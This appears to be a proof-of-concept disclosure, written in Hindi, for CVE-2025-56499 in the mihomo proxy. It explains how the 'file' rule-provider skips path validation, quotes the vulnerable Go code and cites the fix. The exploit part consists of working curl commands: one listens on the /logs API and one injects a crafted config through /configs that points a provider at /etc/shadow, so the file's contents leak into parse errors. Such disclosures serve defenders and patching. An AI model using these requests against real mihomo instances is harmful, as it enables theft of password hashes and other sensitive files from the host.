
CVE-2025-56499 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो mihomo के rule-provider कॉन्फ़िगरेशन में पथ सत्यापन की कमी के माध्यम से मनमाना फ़ाइल पढ़ने का प्रदर्शन करता है, लॉग-आधारित डेटा निष्कासन के साथ।
स्थानीय नियम प्रदाता में पथ सत्यापन के अभाव के कारण मनमानी फ़ाइल पढ़ना
अपस्ट्रीम फिक्स: https://github.com/MetaCubeX/mihomo/pull/2177
प्रभावित संस्करण: mihomo <= v1.19.11
rule-providers कॉन्फ़िगरेशन को पार्स करते समय, type = "file" शाखा प्रदान किए गए पथ को मान्य करने में विफल रहती है। schema.Path को नियंत्रित करने वाला एक प्रमाणित हमलावर प्रदाता को किसी भी पढ़ने योग्य स्थानीय फ़ाइल पर इंगित कर सकता है। चूंकि अधिकांश मनमानी फ़ाइलें अपेक्षित नियम प्रारूप के अनुरूप नहीं होती हैं, इसलिए पार्सिंग त्रुटियाँ (फ़ाइल सामग्री के महत्वपूर्ण अंशों सहित) मेमोरी में लॉग में उत्सर्जित होती हैं और /logs API के माध्यम से उजागर होती हैं। चूंकि mihomo अक्सर उन्नत (रूट/एडमिनिस्ट्रेटर) विशेषाधिकारों के साथ चलता है, इसके परिणामस्वरूप उच्च प्रभाव वाली सूचना का खुलासा होता है।
rules/provider/parse.go में, schema.Type == "file" केस केवल C.Path.Resolve() को लागू करता है और C.Path.IsSafePath() या किसी समकक्ष श्वेतसूची/सैंडबॉक्स बाधा को कभी लागू नहीं करता है।var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
फ़ाइल शाखा की कमियाँ:
/logs को पोल या स्ट्रीम करता है।/configs के माध्यम से एक क्राफ्टेड कॉन्फ़िगरेशन सबमिट करता है जिसमें type = file और लक्ष्य फ़ाइल पथ के साथ एक दुर्भावनापूर्ण rule-providers प्रविष्टि होती है।लॉग सुनें (उदाहरण टोकन Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
/etc/shadow पढ़ने के लिए कॉन्फ़िगरेशन इंजेक्ट करें:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
अनएस्केप्ड पेलोड:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
परिणाम: /logs में पार्स विफलता पंक्तियों में /etc/shadow के अंश होते हैं (उदाहरण स्क्रीनशॉट):
